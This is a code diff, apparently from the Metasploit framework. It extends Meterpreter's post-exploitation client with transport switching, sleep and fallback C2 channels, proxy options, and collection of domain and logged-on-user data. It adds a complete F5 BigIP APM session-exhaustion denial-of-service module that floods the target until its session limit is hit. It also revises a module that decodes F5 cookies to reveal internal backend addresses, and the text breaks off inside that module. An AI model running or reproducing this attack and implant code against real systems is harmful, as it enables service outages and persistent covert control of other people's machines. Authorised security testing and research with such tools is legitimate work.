|
||||
|
||||
if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert]
|
||||
hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert])
|
||||
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
|
||||
end
|
||||
|
||||
if opts[:proxy_host] && opts[:proxy_port]
|
||||
prefix = 'http://'
|
||||
prefix = 'socks=' if opts[:proxy_type] == 'socks'
|
||||
proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
|
||||
request.add_tlv(TLV_TYPE_TRANS_PROXY_HOST, proxy)
|
||||
|
||||
if opts[:proxy_user]
|
||||
request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user])
|
||||
end
|
||||
if opts[:proxy_pass]
|
||||
request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass])
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
request.add_tlv(TLV_TYPE_TRANS_TYPE, transport)
|
||||
request.add_tlv(TLV_TYPE_TRANS_URL, url)
|
||||
|
||||
return request
|
||||
end
|
||||
|
||||
|
||||
def generate_payload_stub(process)
|
||||
case client.platform
|
||||
when /win/i
|
||||
|
@ -623,11 +697,9 @@ class ClientCore < Extension
|
|||
|
||||
# Include the appropriate reflective dll injection module for the target process architecture...
|
||||
if process['arch'] == ARCH_X86
|
||||
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
|
||||
binary_suffix = "x86.dll"
|
||||
c.include( ::Msf::Payload::Windows::MeterpreterLoader )
|
||||
elsif process['arch'] == ARCH_X86_64
|
||||
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
|
||||
binary_suffix = "x64.dll"
|
||||
c.include( ::Msf::Payload::Windows::MeterpreterLoader_x64 )
|
||||
else
|
||||
raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
|
||||
end
|
||||
|
@ -635,37 +707,7 @@ class ClientCore < Extension
|
|||
# Create the migrate stager
|
||||
migrate_stager = c.new()
|
||||
|
||||
dll = MetasploitPayloads.meterpreter_path('metsrv', binary_suffix)
|
||||
if dll.nil?
|
||||
raise RuntimeError, "metsrv.#{binary_suffix} not found", caller
|
||||
end
|
||||
migrate_stager.datastore['DLL'] = dll
|
||||
|
||||
# Pass the timeout information to the RDI loader so that it correctly
|
||||
# patches the timeouts into the binary.
|
||||
migrate_stager.datastore['SessionExpirationTimeout'] = self.client.expiration
|
||||
migrate_stager.datastore['SessionCommunicationTimeout'] = self.client.comm_timeout
|
||||
migrate_stager.datastore['SessionRetryTotal'] = self.client.retry_total
|
||||
migrate_stager.datastore['SessionRetryWait'] = self.client.retry_wait
|
||||
|
||||
blob = migrate_stager.stage_payload
|
||||
|
||||
if client.passive_service
|
||||
# Patch options into metsrv for reverse HTTP payloads.
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
|
||||
:ssl => client.ssl,
|
||||
:url => self.client.url,
|
||||
:expiration => self.client.expiration,
|
||||
:comm_timeout => self.client.comm_timeout,
|
||||
:retry_total => self.client.retry_total,
|
||||
:retry_wait => self.client.retry_wait,
|
||||
:ua => client.exploit_datastore['MeterpreterUserAgent'],
|
||||
:proxy_host => client.exploit_datastore['PayloadProxyHost'],
|
||||
:proxy_port => client.exploit_datastore['PayloadProxyPort'],
|
||||
:proxy_type => client.exploit_datastore['PayloadProxyType'],
|
||||
:proxy_user => client.exploit_datastore['PayloadProxyUser'],
|
||||
:proxy_pass => client.exploit_datastore['PayloadProxyPass'])
|
||||
end
|
||||
blob = migrate_stager.stage_meterpreter
|
||||
|
||||
blob
|
||||
end
|
||||
|
@ -673,12 +715,6 @@ class ClientCore < Extension
|
|||
def generate_linux_stub
|
||||
blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin')
|
||||
|
||||
Rex::Payloads::Meterpreter::Patch.patch_timeouts!(blob,
|
||||
:expiration => self.client.expiration,
|
||||
:comm_timeout => self.client.comm_timeout,
|
||||
:retry_total => self.client.retry_total,
|
||||
:retry_wait => self.client.retry_wait)
|
||||
|
||||
blob
|
||||
end
|
||||
|
||||
|
|
|
@ -152,8 +152,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
|
|||
|
||||
response = client.send_request(request)
|
||||
|
||||
# This is not really a file name, but a raw hash in bytes
|
||||
return response.get_tlv_value(TLV_TYPE_FILE_NAME)
|
||||
# older meterpreter binaries will send FILE_NAME containing the hash
|
||||
hash = response.get_tlv_value(TLV_TYPE_FILE_HASH) ||
|
||||
response.get_tlv_value(TLV_TYPE_FILE_NAME)
|
||||
return hash
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -166,8 +168,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
|
|||
|
||||
response = client.send_request(request)
|
||||
|
||||
# This is not really a file name, but a raw hash in bytes
|
||||
return response.get_tlv_value(TLV_TYPE_FILE_NAME)
|
||||
# older meterpreter binaries will send FILE_NAME containing the hash
|
||||
hash = response.get_tlv_value(TLV_TYPE_FILE_HASH) ||
|
||||
response.get_tlv_value(TLV_TYPE_FILE_NAME)
|
||||
return hash
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -94,6 +94,8 @@ class Config
|
|||
'OS' => response.get_tlv_value(TLV_TYPE_OS_NAME),
|
||||
'Architecture' => response.get_tlv_value(TLV_TYPE_ARCHITECTURE),
|
||||
'System Language' => response.get_tlv_value(TLV_TYPE_LANG_SYSTEM),
|
||||
'Domain' => response.get_tlv_value(TLV_TYPE_DOMAIN),
|
||||
'Logged On Users' => response.get_tlv_value(TLV_TYPE_LOGGED_ON_USER_COUNT)
|
||||
}
|
||||
end
|
||||
|
||||
|
|
|
@ -30,6 +30,7 @@ TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
|
|||
TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
|
||||
TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
|
||||
TLV_TYPE_FILE_SHORT_NAME = TLV_META_TYPE_STRING | 1205
|
||||
TLV_TYPE_FILE_HASH = TLV_META_TYPE_RAW | 1206
|
||||
|
||||
TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220
|
||||
|
||||
|
@ -112,12 +113,14 @@ TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012
|
|||
TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013
|
||||
|
||||
# Config
|
||||
TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040
|
||||
TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041
|
||||
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042
|
||||
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043
|
||||
TLV_TYPE_LANG_SYSTEM = TLV_META_TYPE_STRING | 1044
|
||||
TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045
|
||||
TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040
|
||||
TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041
|
||||
TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042
|
||||
TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043
|
||||
TLV_TYPE_LANG_SYSTEM = TLV_META_TYPE_STRING | 1044
|
||||
TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045
|
||||
TLV_TYPE_DOMAIN = TLV_META_TYPE_STRING | 1046
|
||||
TLV_TYPE_LOGGED_ON_USER_COUNT = TLV_META_TYPE_UINT | 1047
|
||||
|
||||
# Environment
|
||||
TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100
|
||||
|
|
|
@ -94,13 +94,15 @@ TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432
|
|||
TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433
|
||||
TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434
|
||||
TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435
|
||||
TLV_TYPE_TRANS_PROXY_INFO = TLV_META_TYPE_STRING | 436
|
||||
TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436
|
||||
TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437
|
||||
TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438
|
||||
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439
|
||||
TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440
|
||||
TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 441
|
||||
|
||||
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
|
||||
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461
|
||||
|
||||
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
|
||||
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
|
||||
|
@ -199,12 +201,13 @@ class Tlv
|
|||
when TLV_TYPE_TRANS_COMM_TIMEOUT; "TRANS-COMM-TIMEOUT"
|
||||
when TLV_TYPE_TRANS_SESSION_EXP; "TRANS-SESSION-EXP"
|
||||
when TLV_TYPE_TRANS_CERT_HASH; "TRANS-CERT-HASH"
|
||||
when TLV_TYPE_TRANS_PROXY_INFO; "TRANS-PROXY-INFO"
|
||||
when TLV_TYPE_TRANS_PROXY_HOST; "TRANS-PROXY-HOST"
|
||||
when TLV_TYPE_TRANS_PROXY_USER; "TRANS-PROXY-USER"
|
||||
when TLV_TYPE_TRANS_PROXY_PASS; "TRANS-PROXY-PASS"
|
||||
when TLV_TYPE_TRANS_RETRY_TOTAL; "TRANS-RETRY-TOTAL"
|
||||
when TLV_TYPE_TRANS_RETRY_WAIT; "TRANS-RETRY-WAIT"
|
||||
when TLV_TYPE_MACHINE_ID; "MACHINE-ID"
|
||||
when TLV_TYPE_UUID; "UUID"
|
||||
|
||||
#when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface'
|
||||
#when Extensions::Stdapi::TLV_TYPE_IP; 'ip-address'
|
||||
|
|
|
@ -77,10 +77,19 @@ class Console::CommandDispatcher::Core
|
|||
end
|
||||
|
||||
if client.platform =~ /win/ || client.platform =~ /linux/
|
||||
# Migration only supported on windows and linux
|
||||
c["migrate"] = "Migrate the server to another process"
|
||||
|
||||
# UUID functionality isn't yet available on other platforms
|
||||
c["uuid"] = "Get the UUID for the current session"
|
||||
|
||||
# Yet to implement transport hopping for other meterpreters.
|
||||
# Works for posix and native windows though.
|
||||
c["transport"] = "Change the current transport mechanism"
|
||||
|
||||
# sleep functionality relies on the transport features, so only
|
||||
# wire that in with the transport stuff.
|
||||
c["sleep"] = "Force Meterpreter to go quiet, then re-establish session."
|
||||
end
|
||||
|
||||
if (msf_loaded?)
|
||||
|
@ -280,10 +289,6 @@ class Console::CommandDispatcher::Core
|
|||
# Disconnects the session
|
||||
#
|
||||
def cmd_detach(*args)
|
||||
if not client.passive_service
|
||||
print_error("Detach is only possible for non-stream sessions (http/https)")
|
||||
return
|
||||
end
|
||||
client.shutdown_passive_dispatcher
|
||||
shell.stop
|
||||
end
|
||||
|
@ -382,17 +387,34 @@ class Console::CommandDispatcher::Core
|
|||
end
|
||||
|
||||
def print_timeouts(timeouts)
|
||||
print_line("Session Expiry : @ #{(Time.now + timeouts[:session_exp]).strftime('%Y-%m-%d %H:%M:%S')}")
|
||||
print_line("Comm Timeout : #{timeouts[:comm_timeout]} seconds")
|
||||
print_line("Retry Total Time: #{timeouts[:retry_total]} seconds")
|
||||
print_line("Retry Wait Time : #{timeouts[:retry_wait]} seconds")
|
||||
if timeouts[:session_exp]
|
||||
print_line("Session Expiry : @ #{(Time.now + timeouts[:session_exp]).strftime('%Y-%m-%d %H:%M:%S')}")
|
||||
end
|
||||
if timeouts[:comm_timeout]
|
||||
print_line("Comm Timeout : #{timeouts[:comm_timeout]} seconds")
|
||||
end
|
||||
if timeouts[:retry_total]
|
||||
print_line("Retry Total Time: #{timeouts[:retry_total]} seconds")
|
||||
end
|
||||
if timeouts[:retry_wait]
|
||||
print_line("Retry Wait Time : #{timeouts[:retry_wait]} seconds")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Get the machine ID of the target
|
||||
#
|
||||
def cmd_machine_id(*args)
|
||||
print_good("Machine ID: #{client.core.machine_id}")
|
||||
client.machine_id = client.core.machine_id unless client.machine_id
|
||||
print_good("Machine ID: #{client.machine_id}")
|
||||
end
|
||||
|
||||
#
|
||||
# Get the machine ID of the target
|
||||
#
|
||||
def cmd_uuid(*args)
|
||||
client.payload_uuid = client.core.uuid unless client.payload_uuid
|
||||
print_good("UUID: #{client.payload_uuid}")
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -476,6 +498,45 @@ class Console::CommandDispatcher::Core
|
|||
|
||||
end
|
||||
|
||||
#
|
||||
# Display help for the sleep.
|
||||
#
|
||||
def cmd_sleep_help
|
||||
print_line('Usage: sleep <time>')
|
||||
print_line
|
||||
print_line(' time: Number of seconds to wait (positive integer)')
|
||||
print_line
|
||||
print_line(' This command tells Meterpreter to go to sleep for the specified')
|
||||
print_line(' number of seconds. Sleeping will result in the transport being')
|
||||
print_line(' shut down and restarted after the designated timeout.')
|
||||
end
|
||||
|
||||
#
|
||||
# Handle the sleep command.
|
||||
#
|
||||
def cmd_sleep(*args)
|
||||
if args.length == 0
|
||||
cmd_sleep_help
|
||||
return
|
||||
end
|
||||
|
||||
seconds = args.shift.to_i
|
||||
|
||||
if seconds <= 0
|
||||
cmd_sleep_help
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Telling the target instance to sleep for #{seconds} seconds ...")
|
||||
if client.core.transport_sleep(seconds)
|
||||
print_good("Target instance has gone to sleep, terminating current session.")
|
||||
client.shutdown_passive_dispatcher
|
||||
shell.stop
|
||||
else
|
||||
print_error("Target instance failed to go to sleep.")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Arguments for transport switching
|
||||
#
|
||||
|
@ -494,20 +555,25 @@ class Console::CommandDispatcher::Core
|
|||
'-ex' => [ true, 'Expiration timout (seconds) (default: same as current session)' ],
|
||||
'-rt' => [ true, 'Retry total time (seconds) (default: same as current session)' ],
|
||||
'-rw' => [ true, 'Retry wait time (seconds) (default: same as current session)' ],
|
||||
'-v' => [ false, 'Show the verbose format of the transport list' ],
|
||||
'-h' => [ false, 'Help menu' ])
|
||||
|
||||
#
|
||||
# Display help for transport switching
|
||||
# Display help for transport management.
|
||||
#
|
||||
def cmd_transport_help
|
||||
print_line('Usage: transport [options]')
|
||||
print_line('Usage: transport <list|change|add|next|prev> [options]')
|
||||
print_line
|
||||
print_line('Change the current Meterpreter transport mechanism')
|
||||
print_line(' list: list the currently active transports.')
|
||||
print_line(' add: add a new transport to the transport list.')
|
||||
print_line(' change: same as add, but changes directly to the added entry.')
|
||||
print_line(' next: jump to the next transport in the list (no options).')
|
||||
print_line(' prev: jump to the previous transport in the list (no options).')
|
||||
print_line(@@transport_opts.usage)
|
||||
end
|
||||
|
||||
#
|
||||
# Change the current transport setings.
|
||||
# Manage transports
|
||||
#
|
||||
def cmd_transport(*args)
|
||||
if ( args.length == 0 or args.include?("-h") )
|
||||
|
@ -515,7 +581,14 @@ class Console::CommandDispatcher::Core
|
|||
return
|
||||
end
|
||||
|
||||
command = args.shift
|
||||
unless ['list', 'add', 'change', 'prev', 'next'].include?(command)
|
||||
cmd_transport_help
|
||||
return
|
||||
end
|
||||
|
||||
opts = {
|
||||
:uuid => client.payload_uuid,
|
||||
:transport => nil,
|
||||
:lhost => nil,
|
||||
:lport => nil,
|
||||
|
@ -529,9 +602,11 @@ class Console::CommandDispatcher::Core
|
|||
:session_exp => nil,
|
||||
:retry_total => nil,
|
||||
:retry_wait => nil,
|
||||
:cert => nil
|
||||
:cert => nil,
|
||||
:verbose => false
|
||||
}
|
||||
|
||||
valid = true
|
||||
@@transport_opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when '-c'
|
||||
|
@ -560,21 +635,105 @@ class Console::CommandDispatcher::Core
|
|||
opts[:lport] = val.to_i if val
|
||||
when '-l'
|
||||
opts[:lhost] = val
|
||||
when '-v'
|
||||
opts[:verbose] = true
|
||||
when '-t'
|
||||
unless client.core.valid_transport?(val)
|
||||
cmd_transport_help
|
||||
return
|
||||
end
|
||||
opts[:transport] = val
|
||||
else
|
||||
valid = false
|
||||
end
|
||||
end
|
||||
|
||||
print_status("Swapping transport ...")
|
||||
if client.core.transport_change(opts)
|
||||
client.shutdown_passive_dispatcher
|
||||
shell.stop
|
||||
else
|
||||
print_error("Failed to switch transport, please check the parameters")
|
||||
unless valid
|
||||
cmd_transport_help
|
||||
return
|
||||
end
|
||||
|
||||
case command
|
||||
when 'list'
|
||||
result = client.core.transport_list
|
||||
# this will output the session timeout first
|
||||
print_timeouts(result)
|
||||
|
||||
columns =[
|
||||
'Curr',
|
||||
'URL',
|
||||
'Comms T/O',
|
||||
'Retry Total',
|
||||
'Retry Wait'
|
||||
]
|
||||
|
||||
if opts[:verbose]
|
||||
columns << 'User Agent'
|
||||
columns << 'Proxy Host'
|
||||
columns << 'Proxy User'
|
||||
columns << 'Proxy Pass'
|
||||
columns << 'Cert Hash'
|
||||
end
|
||||
|
||||
# next draw up a table of transport entries
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'SortIndex' => -1, # disable any sorting
|
||||
'Indent' => 4,
|
||||
'Columns' => columns)
|
||||
|
||||
first = true
|
||||
result[:transports].each do |t|
|
||||
entry = [ first ? '*' : '', t[:url], t[:comm_timeout],
|
||||
t[:retry_total], t[:retry_wait] ]
|
||||
|
||||
first = false
|
||||
|
||||
if opts[:verbose]
|
||||
entry << t[:ua]
|
||||
entry << t[:proxy_host]
|
||||
entry << t[:proxy_user]
|
||||
entry << t[:proxy_pass]
|
||||
entry << (t[:cert_hash] || '').unpack("H*")[0]
|
||||
end
|
||||
|
||||
tbl << entry
|
||||
end
|
||||
|
||||
print("\n" + tbl.to_s + "\n")
|
||||
when 'next'
|
||||
print_status("Changing to next transport ...")
|
||||
if client.core.transport_next
|
||||
print_good("Successfully changed to the next transport, killing current session.")
|
||||
client.shutdown_passive_dispatcher
|
||||
shell.stop
|
||||
else
|
||||
print_error("Failed to change transport, please check the parameters")
|
||||
end
|
||||
when 'prev'
|
||||
print_status("Changing to previous transport ...")
|
||||
if client.core.transport_prev
|
||||
print_good("Successfully changed to the previous transport, killing current session.")
|
||||
client.shutdown_passive_dispatcher
|
||||
shell.stop
|
||||
else
|
||||
print_error("Failed to change transport, please check the parameters")
|
||||
end
|
||||
when 'change'
|
||||
print_status("Changing to new transport ...")
|
||||
if client.core.transport_change(opts)
|
||||
print_good("Successfully added #{opts[:transport]} transport, killing current session.")
|
||||
client.shutdown_passive_dispatcher
|
||||
shell.stop
|
||||
else
|
||||
print_error("Failed to change transport, please check the parameters")
|
||||
end
|
||||
when 'add'
|
||||
print_status("Adding new transport ...")
|
||||
if client.core.transport_add(opts)
|
||||
print_good("Successfully added #{opts[:transport]} transport.")
|
||||
else
|
||||
print_error("Failed to add transport, please check the parameters")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -29,9 +29,9 @@ Gem::Specification.new do |spec|
|
|||
|
||||
spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION
|
||||
# Metasploit::Credential database models
|
||||
spec.add_runtime_dependency 'metasploit-credential', '0.14.5'
|
||||
spec.add_runtime_dependency 'metasploit-credential', '~> 1.0'
|
||||
# Database models shared between framework and Pro.
|
||||
spec.add_runtime_dependency 'metasploit_data_models', '0.24.0'
|
||||
spec.add_runtime_dependency 'metasploit_data_models', '~> 1.0'
|
||||
# depend on metasploit-framewrok as the optional gems are useless with the actual code
|
||||
spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}"
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
|
|
|
@ -59,12 +59,12 @@ Gem::Specification.new do |spec|
|
|||
# Needed for some admin modules (scrutinizer_add_user.rb)
|
||||
spec.add_runtime_dependency 'json'
|
||||
# Metasploit::Concern hooks
|
||||
spec.add_runtime_dependency 'metasploit-concern', '0.4.0'
|
||||
spec.add_runtime_dependency 'metasploit-concern', '~> 1.0'
|
||||
# Things that would normally be part of the database model, but which
|
||||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model', '~> 0.29.0'
|
||||
spec.add_runtime_dependency 'metasploit-model', '~> 1.0'
|
||||
# Needed for Meterpreter on Windows, soon others.
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '0.0.3'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '0.0.7'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# Needed by anemone crawler
|
||||
|
|
|
@ -0,0 +1,101 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'F5 BigIP Access Policy Manager Session Exhaustion Denial of Service',
|
||||
'Description' => %q{
|
||||
This module exploits a resource exhaustion denial of service in F5 BigIP devices. An
|
||||
unauthenticated attacker can establish multiple connections with BigIP Access Policy
|
||||
Manager (APM) and exhaust all available sessions defined in customer license. In the
|
||||
first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP
|
||||
system creates a session, marks it as pending and then redirects the client to an access
|
||||
policy URI. Since BigIP allocates a new session after the first unauthenticated request,
|
||||
and deletes the session only if an access policy timeout expires, the attacker can exhaust
|
||||
all available sessions by repeatedly sending the initial HTTP request and leaving the
|
||||
sessions as pending.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Denis Kolegov <dnkolegov[at]gmail.com>',
|
||||
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
|
||||
'Nikita Oleksov <neoleksov[at]gmail.com>'
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'SSLVersion' => 'TLS1',
|
||||
'RPORT' => 443
|
||||
}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]),
|
||||
OptBool.new('FORCE', [true, 'Proceed with attack even if a BigIP virtual server isn\'t detected', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
limit = datastore['RLIMIT']
|
||||
force_attack = datastore['FORCE']
|
||||
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => '/')
|
||||
|
||||
unless res
|
||||
print_error("#{peer} - No answer from the BigIP server")
|
||||
return
|
||||
end
|
||||
|
||||
# Simple test based on HTTP Server header to detect BigIP virtual server
|
||||
server = res.headers['Server']
|
||||
unless server =~ /BIG\-IP/ || server =~ /BigIP/ || force_attack
|
||||
print_error("#{peer} - BigIP virtual server was not detected. Please check options")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Starting DoS attack")
|
||||
|
||||
# Start attack
|
||||
limit.times do |step|
|
||||
if step % 100 == 0
|
||||
print_status("#{peer} - #{step * 100 / limit}% accomplished...")
|
||||
end
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => '/')
|
||||
if res && res.headers['Location'] =~ /\/my\.logout\.php3\?errorcode=14/
|
||||
print_good("#{peer} - DoS accomplished: The maximum number of concurrent user sessions has been reached.")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
# Check if attack has failed
|
||||
res = send_request_cgi('method' => 'GET', 'uri' => uri)
|
||||
if res.headers['Location'] =~ /\/my.policy/
|
||||
print_error("#{peer} - DoS attack failed. Try to increase the RLIMIT")
|
||||
else
|
||||
print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result")
|
||||
end
|
||||
|
||||
rescue ::Errno::ECONNRESET
|
||||
print_error("#{peer} - The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached")
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error("#{peer} - Unable to connect to BigIP")
|
||||
rescue ::Rex::ConnectionTimeout
|
||||
print_error("#{peer} - Unable to connect to BigIP. Please check options")
|
||||
rescue ::OpenSSL::SSL::SSLError
|
||||
print_error("#{peer} - SSL/TLS connection error")
|
||||
end
|
||||
end
|
|
@ -6,7 +6,6 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
|
@ -30,125 +29,131 @@ class Metasploit3 < Msf::Auxiliary
|
|||
['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'],
|
||||
['URL', 'http://support.f5.com/kb/en-us/solutions/public/7000/700/sol7784.html?sr=14607726']
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSLVersion' => 'TLS1'
|
||||
}
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptInt.new('RPORT', [true, 'The BigIP service port to listen on', 443]),
|
||||
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
|
||||
OptString.new('TARGETURI', [true, 'The URI path to test', '/']),
|
||||
OptInt.new('REQUESTS', [true, 'Number of requests to send to disclose back', 10])
|
||||
OptInt.new('REQUESTS', [true, 'The number of requests to send', 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def change_endianness(value, size=4)
|
||||
def change_endianness(value, size = 4)
|
||||
conversion = nil
|
||||
|
||||
if size == 4
|
||||
conversion = [value].pack("V").unpack("N").first
|
||||
elsif size == 2
|
||||
conversion = [value].pack("v").unpack("n").first
|
||||
end
|
||||
|
||||
conversion
|
||||
end
|
||||
|
||||
def cookie_decode(cookie_value)
|
||||
if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
|
||||
host = $1.to_i
|
||||
port = $2.to_i
|
||||
backend = {}
|
||||
case
|
||||
when cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
|
||||
host = Regexp.last_match(1).to_i
|
||||
port = Regexp.last_match(2).to_i
|
||||
host = change_endianness(host)
|
||||
host = Rex::Socket.addr_itoa(host)
|
||||
port = change_endianness(port, 2)
|
||||
elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
|
||||
host = $1.to_i(16)
|
||||
port = $2.to_i
|
||||
when cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
|
||||
host = Regexp.last_match(1).to_i(16)
|
||||
port = Regexp.last_match(2).to_i
|
||||
host = Rex::Socket.addr_itoa(host)
|
||||
elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
|
||||
host = $1.to_i(16)
|
||||
port = $2.to_i
|
||||
host = Rex::Socket.addr_itoa(host, v6=true)
|
||||
when cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
|
||||
host = Regexp.last_match(1).to_i(16)
|
||||
port = Regexp.last_match(2).to_i
|
||||
host = Rex::Socket.addr_itoa(host, true)
|
||||
port = change_endianness(port, 2)
|
||||
elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
|
||||
host = $1.to_i(16)
|
||||
port = $2.to_i
|
||||
host = Rex::Socket.addr_itoa(host, v6=true)
|
||||
elsif cookie_value =~ /!.{104}/
|
||||
when cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
|
||||
host = Regexp.last_match(1).to_i(16)
|
||||
port = Regexp.last_match(2).to_i
|
||||
host = Rex::Socket.addr_itoa(host, true)
|
||||
else
|
||||
host = nil
|
||||
port = nil
|
||||
end
|
||||
host.nil? ? nil : "#{host}:#{port}"
|
||||
|
||||
backend[:host] = host.nil? ? nil : host
|
||||
backend[:port] = port.nil? ? nil : port
|
||||
backend
|
||||
end
|
||||
|
||||
def get_cookie # request a page and extract a F5 looking cookie.
|
||||
cookie = {}
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => @uri
|
||||
})
|
||||
res = send_request_raw({ 'method' => 'GET', 'uri' => @uri })
|
||||
|
||||
unless res.nil?
|
||||
# Get the SLB session IDs for all cases:
|
||||
# 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000",
|
||||
# 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80",
|
||||
# 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480",
|
||||
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80",
|
||||
